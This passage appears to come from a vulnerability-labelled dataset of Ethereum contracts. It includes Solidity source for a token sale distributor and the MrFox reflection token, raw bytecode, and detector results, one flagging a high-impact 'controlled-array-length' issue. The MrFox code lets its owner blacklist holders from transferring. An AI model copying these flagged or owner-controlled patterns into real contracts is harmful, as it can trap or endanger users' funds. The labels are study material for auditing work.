5600160a060020a03600435166109d1565b600454600160a060020a031681565b6004547501000000000000000000000000000000000000000000900460ff1681565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104ab5780601f10610480576101008083540402835291602001916104ab565b820191906000526020600020905b81548152906001019060200180831161048e57829003601f168201915b5050505050905090565b6000818015806104e65750336000908152600260209081526040808320600160a060020a0388168452909152902054155b15156104f157600080fd5b336000818152600260209081526040808320600160a060020a03891680855290835292819020859055805185815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60005481565b60045460009060a060020a900460ff161561057957600080fd5b610584848484610a3b565b949350505050565b60075490565b600454600090600160a060020a03163314806105b85750600354600160a060020a031633145b15156105c357600080fd5b60045460a060020a900460ff1615156105db57600080fd5b6004805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a150600190565b6004546000908190600160a060020a03163314806106505750600354600160a060020a031633145b151561065b57600080fd5b6004547501000000000000000000000000000000000000000000900460ff161561068457600080fd5b50600054829061069a908263ffffffff610b4d16565b6000908155600160a060020a0385168152600160205260409020546106c5908263ffffffff610b4d16565b600160a060020a038516600081815260016020908152604091829020939093558051848152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a25060019392505050565b60045460a060020a900460ff161561073857600080fd5b61074181610b5c565b50565b60045460a060020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b600454600090600160a060020a03163314806107955750600354600160a060020a031633145b15156107a057600080fd5b6004805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600454600090600160a060020a031633148061082c5750600354600160a060020a031633145b151561083757600080fd5b60045460a060020a900460ff161561084e57600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a150600190565b600354600160a060020a031681565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104ab5780601f10610480576101008083540402835291602001916104ab565b60045460009060a060020a900460ff161561092b57600080fd5b6109358383610bfb565b9392505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600454600160a060020a031633148061098a5750600354600160a060020a031633145b151561099557600080fd5b600160a060020a038116156107415760038054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b600454600160a060020a03163314806109f45750600354600160a060020a031633145b15156109ff57600080fd5b600160a060020a038116156107415760048054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b600160a060020a038084166000908152600260209081526040808320338452825280832054938616835260019091528120549091908390610a82908263ffffffff610b4d16565b600160a060020a038087166000908152600160205260408082209390935590881681522054610ab7908263ffffffff610cae16565b600160a060020a038716600090815260016020526040902055610ae0828263ffffffff610cae16565b600160a060020a03808816600081815260026020908152604080832033845282529182902094909455805185815290519289169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600195945050505050565b60008282018381101561093557fe5b600080808311610b6b57600080fd5b505033600081815260016020526040902054829190610b90908363ffffffff610cae16565b600160a060020a03821660009081526001602052604081209190915554610bbd908363ffffffff610cae16565b60005560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2505050565b336000908152600160205260408120548290610c1d908263ffffffff610cae16565b3360009081526001602052604080822092909255600160a060020a03861681522054610c4f908263ffffffff610b4d16565b600160a060020a0385166000818152600160209081526040918290209390935580518481529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b600082821115610cba57fe5b509003905600a165627a7a7230582023689970003035bb4b4cf7e1fcb3f85ce825aebf2aaed78fa97e41d021cd821e0029a165627a7a723058204eb3867ac24032c3cc29215e7b78a92652e87a9dd38daed1482d3e4930941cee0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,655
0x36f0460e08f3a14266644f24bbc85e7672972c08
/** *Submitted for verification at Etherscan.io on 2020-12-25 */ pragma solidity ^0.6.10; // SPDX-License-Identifier: MIT; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract Mutex { bool isLocked; modifier noReentrance() { require(!isLocked); isLocked = true; _; isLocked = false; } } contract Distributor is Mutex { using SafeMath for uint256; IERC20 public token; address payable public wallet = 0x93B3a464aF66Ce7b73cD5a2acBB927A8Ea5BaB0e; uint256 public rate = 333; uint256 public trxnCount; uint256 public weiRaised; event Bought(uint256 amount); event Transfer(address _to, uint256 amount); event TransferMultiple(address[] _receivers, uint256 amount); event TotalBalance(address sender,uint256 vlue,uint256 balance); modifier onlyOwner{ require(msg.sender==wallet); _; } constructor(address _token) public { token = IERC20(_token); } receive() external payable { (bool success,) = wallet.call{value:msg.value}(""); require(success, "can not transfer funds"); buy(msg.sender); weiRaised = weiRaised.add(msg.value); } function buy(address _buyer) payable public noReentrance { uint256 amountTobuy = _getTokenAmount(msg.value); uint256 thisBalance = token.balanceOf(address(this)); require(amountTobuy > 0, "You need to send some ether"); require(amountTobuy <= thisBalance, "Not enough tokens in the reserve"); TransferHelper.safeTransfer(address(token), _buyer, amountTobuy); emit Bought(amountTobuy); trxnCount++; } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(rate); } function getEthTokenBal() public view returns(uint256, uint256) { return ( address(this).balance, token.balanceOf(address(this))); } function withdrawToken() public onlyOwner{ uint bal = token.balanceOf(address(this)); TransferHelper.safeTransfer(address(token), wallet, bal); emit Transfer(wallet, bal); } function burn()public onlyOwner { uint256 bal = token.balanceOf(address(this)); TransferHelper.safeTransfer(address(token), address(0), bal); emit Transfer(address(0), bal); } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x60806040526004361061008a5760003560e01c806399c83f881161005957806399c83f88146101d5578063ca628c78146101ea578063f088d547146101ff578063f5756d7b14610225578063fc0c546a146102535761014c565b80632c4e722e146101515780634042b66f1461017857806344df8e701461018d578063521eb273146101a45761014c565b3661014c576001546040516000916001600160a01b03169034908381818185875af1925050503d80600081146100dc576040519150601f19603f3d011682016040523d82523d6000602084013e6100e1565b606091505b5050905080610130576040805162461bcd60e51b815260206004820152601660248201527563616e206e6f74207472616e736665722066756e647360501b604482015290519081900360640190fd5b61013933610268565b600454610146903461042f565b60045550005b600080fd5b34801561015d57600080fd5b50610166610492565b60408051918252519081900360200190f35b34801561018457600080fd5b50610166610498565b34801561019957600080fd5b506101a261049e565b005b3480156101b057600080fd5b506101b9610590565b604080516001600160a01b039092168252519081900360200190f35b3480156101e157600080fd5b5061016661059f565b3480156101f657600080fd5b506101a26105a5565b6101a26004803603602081101561021557600080fd5b50356001600160a01b0316610268565b34801561023157600080fd5b5061023a6106a7565b6040805192835260208301919091528051918290030190f35b34801561025f57600080fd5b506101b9610742565b60005460ff161561027857600080fd5b6000805460ff1916600117815561028e34610756565b905060008060019054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156102f357600080fd5b505afa158015610307573d6000803e3d6000fd5b505050506040513d602081101561031d57600080fd5b5051905081610373576040805162461bcd60e51b815260206004820152601b60248201527f596f75206e65656420746f2073656e6420736f6d652065746865720000000000604482015290519081900360640190fd5b808211156103c8576040805162461bcd60e51b815260206004820181905260248201527f4e6f7420656e6f75676820746f6b656e7320696e207468652072657365727665604482015290519081900360640190fd5b6000546103e49061010090046001600160a01b0316848461076d565b6040805183815290517f4e08ba899977cf7d4c2964bce71c6b9a7ef76ee5166a4c1249a1e08016e33ef19181900360200190a15050600380546001019055506000805460ff19169055565b600082820183811015610489576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b60025481565b60045481565b6001546001600160a01b031633146104b557600080fd5b60008054604080516370a0823160e01b815230600482015290516101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561050557600080fd5b505afa158015610519573d6000803e3d6000fd5b505050506040513d602081101561052f57600080fd5b5051600080549192506105519161010090046001600160a01b0316908361076d565b60408051600081526020810183905281517f69ca02dd4edd7bf0a4abb9ed3b7af3f14778db5d61921c7dc7cd545266326de2929181900390910190a150565b6001546001600160a01b031681565b60035481565b6001546001600160a01b031633146105bc57600080fd5b60008054604080516370a0823160e01b815230600482015290516101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561060c57600080fd5b505afa158015610620573d6000803e3d6000fd5b505050506040513d602081101561063657600080fd5b505160005460015491925061065d916001600160a01b03610100909204821691168361076d565b600154604080516001600160a01b0390921682526020820183905280517f69ca02dd4edd7bf0a4abb9ed3b7af3f14778db5d61921c7dc7cd545266326de29281900390910190a150565b60008047600060019054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561070d57600080fd5b505afa158015610721573d6000803e3d6000fd5b505050506040513d602081101561073757600080fd5b505190925090509091565b60005461010090046001600160a01b031681565b600061048c600254836108d790919063ffffffff16565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106107ea5780518252601f1990920191602091820191016107cb565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461084c576040519150601f19603f3d011682016040523d82523d6000602084013e610851565b606091505b509150915081801561087f57508051158061087f575080806020019051602081101561087c57600080fd5b50515b6108d0576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b6000826108e65750600061048c565b828202828482816108f357fe5b04146104895760405162461bcd60e51b81526004018080602001828103825260218152602001806109316021913960400191505060405180910390fdfe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212204434a18f6c0232d8e200104ba8f5a3d3e256be0052dec781652e53b0390d46ef64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,656
0x61a38b4ce2ab0bb29a4cdc65a7dbe26a18b2ef11
/** *Submitted for verification at Etherscan.io on 2022-05-03 */ /** MrFox Tg_ https://t.me/foxtokeneth Website_ https://mrfoxtoken.com/# */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MrFox is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "MrFox"; string private constant _symbol = "MrFox"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xfcc04e9c81238fd9D9af5682cD641ccd76AE81f9); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(15).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612838565b6104b4565b60405161018e9190612893565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a20565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a69565b61060d565b60405161021f9190612893565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612abc565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b05565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4c565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b79565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612abc565b6109dd565b60405161031991906128bd565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb5565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612838565b610c9e565b6040516103da9190612893565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b79565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bd0565b611380565b60405161046e91906128bd565b60405180910390f35b60606040518060400160405280600581526020017f4d72466f78000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611407565b848461140f565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cda565b91505061057b565b5050565b600061061a8484846115d8565b6106db84610626611407565b6106d68560405180606001604052806028815260200161371160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611407565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c699092919063ffffffff16565b61140f565b600190509392505050565b6106ee611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611407565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260